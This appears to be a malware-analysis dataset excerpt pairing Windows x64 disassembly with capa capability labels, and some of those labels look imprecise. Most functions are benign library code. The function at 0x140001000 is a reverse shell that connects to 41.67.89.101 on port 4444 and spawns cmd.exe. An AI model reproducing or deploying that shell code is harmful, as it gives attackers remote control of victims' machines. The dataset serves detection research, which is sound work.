joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005480
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140023010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400054ad
xor eax, eax
jmp 0x140005602
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x1400054d8
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x1400054d8
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140005602
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400055f5
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000551b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140005546
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400055fa
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400055b5
sub eax, 1
je 0x1400055b5
cmp eax, 2
jne 0x1400055f5
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400055fa
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400055e3
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x1400055f5
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x1400055fa
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000f510
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140005a00
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140023010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140005ad3
cmp byte [rcx + 0x71], 0
je 0x140005ad3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140005acf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140005a94
sub eax, 1
je 0x140005a98
cmp eax, 2
jne 0x140005acf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000f510
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140005ac6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140005acf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140005a7c
xor al, al
jmp 0x140005a7c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000f510
add rsp, 0x60
pop rbx
ret
Function at 0x14000d160
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140023010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x14000d273
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000d273
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
xor edx, edx
mov qword [rsp + 0x50], rdx
mov ecx, dword [rax + rsi + 0xb0]
test ecx, ecx
jne 0x14000d1d8
mov qword [rdi], rdx
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], rdx
jmp 0x14000d280
lea rbx, [rsi + rcx]
mov ebp, dword [rax + rsi + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x48]
cmp rbx, rbp
jae 0x14000d261
mov r8d, dword [rbx + 4]
test r8d, r8d
je 0x14000d261
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x28], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x30], rax
lea rax, [r8 - 8]
shr rax, 1
mov dword [rsp + 0x38], eax
cmp rcx, rdx
je 0x14000d23a
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x38]
movsd qword [rcx + 0x10], xmm1
add rcx, 0x18
mov qword [rsp + 0x48], rcx
jmp 0x14000d256
lea r8, [rsp + 0x28]
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.14000d8c0
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, rbp
jb 0x14000d1f0
mov rax, qword [rsp + 0x40]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], rdx
jmp 0x14000d280
xor edx, edx
mov qword [rcx], rdx
mov qword [rcx + 8], rdx
mov qword [rcx + 0x10], rdx
mov rax, rdi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000f510
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x14000e850
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x50
mov rax, qword [0x140023010]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebp, ebp
lea r9, [rsp + 0x20]
mov r14, rcx
mov dword [rsp + 0x20], ebp
xor r8d, r8d
xor edx, edx
mov ebx, ebp
lea ecx, [rbp + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14000e8de
nop dword [rax]
test rbx, rbx
je 0x14000e8a6
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14000e890
test eax, eax
jns 0x14000e8ff
test rbx, rbx
je 0x14000e904
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x14000e9f6
test rbx, rbx
jne 0x14000e90b
xor eax, eax
jmp 0x14000e9f6
mov qword [rsp + 0x78], rsi
mov qword [rsp + 0x80], rdi
mov edi, ebp
cmp dword [rbx], ebp
jbe 0x14000e9d6
mov esi, edi
lea rdx, [rbx + 0x30]
imul rax, rsi, 0x128
mov qword [rsp + 0x28], rbp
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], 0xf
movzx ecx, word [rax + rbx + 0x2e]
add rcx, rax
add rdx, rcx
inc r8
cmp byte [rdx + r8], bpl
jne 0x14000e954
lea rcx, [rsp + 0x28]
call fcn.140005e80
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x14000e974
mov rdx, qword [r14]
cmp qword [rsp + 0x40], 0x10
lea rcx, [rsp + 0x28]
cmovae rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000ea0c
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14000e9cc
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9c7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ea5d
call fcn.14000f530
inc edi
cmp edi, dword [rbx]
jb 0x14000e922
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000f510
add rsp, 0x50
pop r14
pop rbp
pop rbx
ret
imul rax, rsi, 0x128
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
mov rdi, qword [rax + rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x14000ea69
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ea64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000f530
mov rax, rdi
jmp 0x14000e9e9
Function at 0x140001b58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ba2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ba2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ba2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ba2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ba2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ba4
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov ecx, 0x202
lea rdx, [0x140005690]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
mov ecx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov edx, 1
mov r8d, 6
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x115c
mov word [0x140005898], bx
mov qword [0x140005688], rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.41.67.89.101
mov word [0x14000589a], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140005688]
lea rdx, [0x140005898]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov qword [rsp + 0x28], rdi
mov r8d, 0x10
mov dword [0x14000589c], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140005688]
xorps xmm0, xmm0
movups xmmword [0x140005880], xmm0
mov qword [0x140005888], rax
mov r8, 0xffffffffffffffff
mov qword [0x140005880], rax
mov qword [0x140005890], rax
movabs rax, 0x6578652e646d63
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
movups xmmword [0x140005830], xmm0
mov dword [0x140005830], 0x68
movups xmmword [0x140005860], xmm0
mov dword [0x14000586c], 0x100
movups xmmword [0x140005840], xmm0
movups xmmword [0x140005850], xmm0
movups xmmword [0x140005870], xmm0
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x140001130
inc r8
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
lea rax, [0x140005670]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x58]
lea rax, [0x140005830]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x140001a78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ac2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ac2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ac2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ac2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ac2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ac4
xor al, al
add rsp, 0x28
ret
Function at 0x40cf80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x40d000
cmp r11, r10
ja 0x40d077
cmp r10, rdx
ja 0x40d089
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x40d002
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x40cfe0
jmp 0x40d064
ja 0x40d00a
mov r11, r10
cmp rax, r8
jne 0x40cfae
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x40d040
mov rdi, r8
sub ecx, edx
jns 0x40d05b
jmp 0x40d066
cmp r8, rsi
je 0x40d098
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x40d066
xor al, 1
cmp rdi, rsi
jne 0x40d020
jmp 0x40d066
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.0040afa0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.0040a490
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.0040ba50
int3
Function at 0x40ed8c
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x118
mov rbx, rdx
mov rdi, rcx
movsx eax, r8b
mov esi, eax
shr esi, 7
mov ecx, esi
add ecx, eax
movups xmm0, xmmword [0x00447320]
lea r15, [rsp + 0x48]
movaps xmmword [r15 - 0x18], xmm0
movups xmm1, xmmword [0x00447310]
movaps xmmword [r15 - 0x28], xmm1
xor eax, eax
mov qword [r15 - 8], rax
movups xmmword [r15], xmm1
movups xmmword [r15 + 0x10], xmm0
mov qword [r15 + 0x20], rax
xorps xmm0, xmm0
movaps xmmword [r15 + 0x28], xmm0
movaps xmmword [r15 + 0x38], xmm0
mov qword [r15 + 0x48], rax
mov r12, 0xfffffffffffffff8
mov ebp, esi
xor ebp, ecx
lea r14, [rsp + 0x20]
lea eax, [r12 + 9]
xor eax, ebp
mov ecx, eax
neg ecx
or cx, ax
setns cl
call fcn.0040f252
mov rcx, r14
mov rdx, rbx
mov r8d, eax
call fcn.0040ef66
add rbx, 0x78
inc r12
jne 0x40ee03
and sil, 1
mov ecx, esi
call fcn.0040f252
movabs rcx, 0x7ffffffffffff0
lea rsi, [rsp + 0x20]
mov rdx, rcx
sub rdx, qword [rsi + 0x50]
mov r8, rcx
sub r8, qword [rsi + 0x58]
mov r9, rcx
sub r9, qword [rsi + 0x60]
mov r10, rcx
sub r10, qword [rsi + 0x68]
add rdx, 0xfffffffffffffee0
sub rcx, qword [rsi + 0x70]
mov r11, rdx
shr r11, 0x33
mov rbx, r8
shr rbx, 0x33
mov r14, r9
shr r14, 0x33
mov r12, r10
shr r12, 0x33
mov r13, rcx
shr r13, 0x33
movabs rbp, 0x7ffffffffffff
and rdx, rbp
and r8, rbp
add r8, r11
and r9, rbp
add r9, rbx
and r10, rbp
add r10, r14
and rcx, rbp
add rcx, r12
lea r11, [r13*8]
add r11, r13
lea r11, [r11*2]
add r11, r13
add r11, rdx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
lea rdx, [rsp + 0xa0]
movaps xmmword [rdx], xmm0
movaps xmmword [rdx + 0x10], xmm1
mov rbx, qword [r15 + 0x20]
mov qword [rdx + 0x20], rbx
mov rbx, qword [rsi + 0x20]
mov qword [rdx + 0x48], rbx
movaps xmm0, xmmword [rsi]
movaps xmm1, xmmword [rsi + 0x10]
movups xmmword [rdx + 0x38], xmm1
movups xmmword [rdx + 0x28], xmm0
mov qword [rdx + 0x50], r11
mov qword [rdx + 0x58], r8
mov qword [rdx + 0x60], r9
mov qword [rdx + 0x68], r10
mov qword [rdx + 0x70], rcx
mov rcx, rsi
mov r8d, eax
call fcn.0040ef66
mov ecx, 0xf
rep movsq qword [rdi], qword [rsi]
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x410c56
Capabilities:
Encrypt data using aes

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov byte [rdx + 0xf0], 0xe
mov r10d, dword [rcx]
bswap r10d
mov dword [rdx], r10d
mov eax, dword [rcx + 4]
bswap eax
mov dword [rdx + 4], eax
mov r8d, dword [rcx + 8]
bswap r8d
mov dword [rdx + 8], r8d
mov r9d, dword [rcx + 0xc]
bswap r9d
mov dword [rdx + 0xc], r9d
mov r11d, dword [rcx + 0x10]
bswap r11d
mov dword [rdx + 0x10], r11d
mov r11d, dword [rcx + 0x14]
bswap r11d
mov dword [rdx + 0x14], r11d
mov r11d, dword [rcx + 0x18]
bswap r11d
mov dword [rdx + 0x18], r11d
mov ecx, dword [rcx + 0x1c]
bswap ecx
mov dword [rdx + 0x1c], ecx
xor r11d, r11d
lea rsi, [0x0044f020]
mov edi, 0xff
lea rbx, [0x0044f420]
lea r14, [0x0044f820]
lea r15, [0x0044fc20]
mov r13d, ecx
shr r13d, 0xe
and r13d, 0x3fc
movzx ebp, byte [r13 + rsi + 3]
shl ebp, 0x18
xor ebp, r10d
mov r10d, ecx
shr r10d, 8
and r10d, edi
movzx r10d, byte [rbx + r10*4 + 2]
shl r10d, 0x10
mov r13d, ecx
and r13d, edi
movzx r13d, byte [r14 + r13*4 + 1]
shl r13d, 8
xor r13d, r10d
xor r13d, ebp
mov r10d, ecx
shr r10d, 0x18
movzx r10d, byte [r15 + r10*4]
xor r10d, r13d
lea r12, [0x00450020]
xor r10d, dword [r11 + r12]
mov dword [rdx + r11*8 + 0x20], r10d
xor eax, r10d
mov dword [rdx + r11*8 + 0x24], eax
xor r8d, eax
mov dword [rdx + r11*8 + 0x28], r8d
xor r9d, r8d
mov dword [rdx + r11*8 + 0x2c], r9d
cmp r11, 0x18
je 0x410ddd
mov r13d, r9d
shr r13d, 0x18
movzx ebp, byte [rsi + r13*4 + 3]
shl ebp, 0x18
xor ebp, dword [rdx + r11*8 + 0x10]
mov r13d, r9d
shr r13d, 0xe
and r13d, 0x3fc
movzx r13d, byte [r13 + rbx + 2]
shl r13d, 0x10
mov r12d, r9d
shr r12d, 8
and r12d, edi
movzx r12d, byte [r14 + r12*4 + 1]
shl r12d, 8
xor r12d, r13d
mov r13d, r9d
and r13d, edi
movzx r13d, byte [r15 + r13*4]
xor r13d, r12d
xor r13d, ebp
mov dword [rdx + r11*8 + 0x30], r13d
xor r13d, dword [rdx + r11*8 + 0x14]
mov dword [rdx + r11*8 + 0x34], r13d
xor r13d, dword [rdx + r11*8 + 0x18]
mov dword [rdx + r11*8 + 0x38], r13d
xor ecx, r13d
mov dword [rdx + r11*8 + 0x3c], ecx
add r11, 4
jmp 0x410cdd
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x411c4e
Capabilities:
Move file

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rsi, r8
mov r8, rdx
mov rdx, rcx
movabs r12, 0x8000000000000000
mov rbx, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rdi, [rsp + 0x28]
mov rcx, rdi
call fcn.004387b0
mov rax, qword [rdi]
mov rdi, qword [rdi + 8]
cmp rax, r12
je 0x411cbf
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x58]
mov qword [rdx], rax
mov qword [rdx + 8], rdi
mov qword [rdx + 0x10], rcx
lea rdi, [rsp + 0x40]
mov rcx, rdi
call fcn.00438a80
mov r15, qword [rdi]
mov rdi, qword [rdi + 8]
cmp r15, r12
jne 0x411ced
mov rbx, rdi
cmp qword [rsi], 0
je 0x411cda
mov r8, qword [rsi + 8]
mov rcx, qword [0x0045c0f0]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rax, rbx
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x28]
mov rdx, rbx
mov r8, r14
call fcn.004387b0
mov rax, qword [rsp + 0x28]
mov r14, qword [rsp + 0x30]
cmp rax, r12
je 0x411d3a
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x58]
mov qword [rdx], rax
mov qword [rdx + 8], r14
mov qword [rdx + 0x10], rcx
lea rcx, [rsp + 0x40]
call fcn.00438a80
mov r13, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
cmp r13, r12
jne 0x411d58
mov rbx, r14
test r15, r15
je 0x411cc2
mov rcx, qword [0x0045c0f0]
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapFree
jmp 0x411cc2
mov rcx, rdi
mov rdx, r14
mov r8d, 1
call sub.kernel32.dll_MoveFileExW
test eax, eax
je 0x411d93
test r13, r13
je 0x411d83
mov rcx, qword [0x0045c0f0]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
test r15, r15
je 0x411dba
mov rcx, qword [0x0045c0f0]
xor ebx, ebx
jmp 0x411d49
call sub.kernel32.dll_GetLastError
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test r13, r13
je 0x411d3d
mov rcx, qword [0x0045c0f0]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
jmp 0x411d3d
xor ebx, ebx
jmp 0x411cc2

Function at 0x4157f0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x415815
cmp rax, rcx
je 0x41581b
cmp rdx, 4
jae 0x415822
xor eax, eax
xor r8d, r8d
jmp 0x4158c0
pop rbp
jmp fcn.00409fb0
xor eax, eax
jmp 0x4158d7
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x00443530]
movdqa xmm3, xmmword [0x00443540]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x415850
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x4158d7
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x4158c0
pop rbp
ret
Function at 0x416890
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
lea rbp, [rsp + 0x40]
mov r10, qword [rcx]
test r10, r10
je 0x416914
mov r11, qword [rcx + 8]
mov r8, qword [rcx + 0x10]
cmp r8, r11
jae 0x416914
movzx eax, byte [r10 + r8]
cmp eax, 0x49
mov rbx, rcx
je 0x41692d
cmp eax, 0x42
jne 0x416914
lea rsi, [r8 + 1]
mov qword [rcx + 0x10], rsi
mov r9b, 1
cmp rsi, r11
jae 0x416a5d
cmp byte [r10 + rsi], 0x5f
jne 0x4169ec
lea rax, [r8 + 2]
mov qword [rcx + 0x10], rax
xor eax, eax
cmp rax, r8
jae 0x416a5d
mov edx, dword [rcx + 0x18]
inc edx
cmp edx, 0x1f4
jbe 0x416ab7
mov dil, 1
xor r9d, r9d
jmp 0x416a5f
xor edx, edx
call fcn.00412280
mov esi, eax
add sil, sil
mov eax, esi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
inc r8
mov qword [rcx + 0x10], r8
xor edx, edx
call fcn.00412280
test al, al
jne 0x416a9d
mov rdx, rbx
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x41696c
lea rdx, [0x0045169b]
mov r8d, 1
call fcn.0040a510
mov rdx, rbx
test al, al
jne 0x416a9d
mov rax, qword [rdx]
mov sil, 1
test rax, rax
je 0x416920
xor r14d, r14d
lea rdi, [0x004519f1]
nop word cs:[rax + rax]
mov rcx, qword [rdx + 0x10]
cmp rcx, qword [rdx + 8]
jae 0x4169a4
cmp byte [rax + rcx], 0x45
je 0x416af0
sub r14, 1
jb 0x4169cc
mov rcx, qword [rdx + 0x20]
test rcx, rcx
je 0x4169cc
mov r8d, 2
mov rdx, rdi
call fcn.0040a510
mov rdx, rbx
test al, al
jne 0x416a9d
mov rcx, rdx
call fcn.00413ae0
test al, al
jne 0x416a9d
mov rdx, rbx
mov rax, qword [rbx]
test rax, rax
jne 0x416990
jmp 0x416920
xor eax, eax
mov r14d, 0x3e
nop word cs:[rax + rax]
movzx edx, byte [r10 + rsi]
cmp dl, 0x5f
je 0x416a4d
lea edi, [rdx - 0x30]
cmp dil, 0xa
jb 0x416a2f
lea edi, [rdx - 0x61]
cmp dil, 0x1a
jae 0x416a21
add dl, 0xa9
jmp 0x416a2d
lea edi, [rdx - 0x41]
cmp dil, 0x1a
jae 0x416a5d
add dl, 0xe3
mov edi, edx
inc rsi
mov qword [rcx + 0x10], rsi
mul r14
jo 0x416a5d
movzx edx, dil
xor edi, edi
add rax, rdx
jb 0x416a5f
cmp rsi, r11
jb 0x416a00
jmp 0x416a5f
inc rsi
mov qword [rcx + 0x10], rsi
inc rax
jne 0x4168ef
xor edi, edi
mov rax, qword [rcx + 0x20]
test rax, rax
je 0x416aa5
mov ecx, r9d
xor cl, 1
movzx ecx, cl
lea r8, [rcx + rcx*8]
add r8, 0x10
lea rcx, str.invalid_syntaxrecursion_limit_reached_for_______::closureshim_as__mut_const___dyn___unsafe_extern__
lea rdx, [0x004519d0]
test r9b, r9b
cmovne rdx, rcx
mov rcx, rax
call fcn.0040a510
mov rcx, rbx
test al, al
je 0x416aa5
mov sil, 2
jmp 0x416920
mov qword [rcx], 0
